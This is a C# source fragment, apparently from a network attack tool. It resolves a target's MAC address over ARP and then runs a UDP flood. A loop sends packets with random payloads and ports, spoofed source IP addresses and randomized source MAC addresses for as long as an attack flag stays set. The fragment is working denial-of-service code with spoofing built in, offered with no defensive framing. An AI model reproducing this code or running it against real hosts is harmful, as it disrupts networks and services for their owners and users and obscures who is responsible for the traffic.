public static PhysicalAddress ResolveMac(NetworkInterface device, IPAddress Instance)
{
ARP Resolver = new ARP((LibPcapLiveDevice)NetworkInstruments.getActiveDevice(device.GetPhysicalAddress()));
Resolver.Timeout = new TimeSpan(0, 0, 4);
return(Resolver.Resolve(Instance, getAdapterIPAddress(device), device.GetPhysicalAddress()));
}
private void processUdpFlood(Object Params)
{
AttackParams _params = Params as AttackParams;
if (_params.UdpFloodEnabled)
{
NetworkInstruments.IpRandomizer IpSpoofer = new NetworkInstruments.IpRandomizer();
PhysicalAddress TargetMac = NetworkInstruments.ResolveMac(Adapter, _params.Target.Address);
ICaptureDevice ActiveDevice = NetworkInstruments.getActiveDevice(Adapter.GetPhysicalAddress());
ActiveDevice.Open();
UdpPacket udpPacket = new UdpPacket(0, 80);
IPv4Packet ipPacket = new IPv4Packet(IPAddress.Any, _params.Target.Address);
ipPacket.Protocol = IPProtocolType.UDP;
ipPacket.PayloadPacket = udpPacket;
if (TargetMac == null)
{
ErrorHandler(1, "Can not get MAC target address");
return;
}
; //unable to resolve mac
EthernetPacket ethernetPacket = new EthernetPacket(Adapter.GetPhysicalAddress(), TargetMac, EthernetPacketType.None);
ethernetPacket.PayloadPacket = ipPacket;
while (Attacking)
{
udpPacket.SourcePort = (ushort)Randomizer.Next(1, 49160);
udpPacket.DestinationPort = (ushort)Randomizer.Next(1, 49160);
udpPacket.PayloadData = new byte[Randomizer.Next(500)];
Randomizer.NextBytes(udpPacket.PayloadData);
udpPacket.UpdateCalculatedValues();
ipPacket.SourceAddress = IpSpoofer.GetNext(ref Randomizer, _params.RestrictedPool);
ipPacket.TimeToLive = Randomizer.Next(20, 128);
ipPacket.UpdateCalculatedValues();
ipPacket.UpdateIPChecksum();
ethernetPacket.SourceHwAddress = NetworkInstruments.GetRandomMac(ref Randomizer);
ethernetPacket.UpdateCalculatedValues();
udpPacket.UpdateUDPChecksum();
ActiveDevice.SendPacket(ethernetPacket);
udpCounter++;
}
}
}
